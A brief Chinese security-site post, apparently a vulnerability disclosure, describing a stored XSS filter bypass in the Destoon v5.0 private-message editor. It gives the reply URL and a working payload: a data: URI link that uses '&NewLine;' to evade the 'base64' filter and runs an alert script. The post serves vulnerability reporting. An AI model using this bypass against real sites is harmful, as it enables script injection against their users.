destoon /v5.0/ 存储型xss 指哪打哪(绕过1) - 网站安全

上次发的 destoon /v5.0/ 存储型xss指哪打哪  http://www.2cto.com/Article/201406/309245. html

 

 

 

注册一个用户

 

 

 

http://127.0.0.1/v5.0/member/message.php?action=send&touser=oboi123&title=RE:RE%3ARE%3Asdaaaaaaa

 

 

 

回复处用了编辑器

 

 

 

编辑器有些标签没过滤，导致xss执行

 

 

 

xsscode:

 

<a href="data:text/html;charset=utf-8;base&NewLine;64, PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+Og=="> click</a>  

查看更多关于destoon /v5.0/ 存储型xss 指哪打哪(绕过1) - 网站安全的详细内容...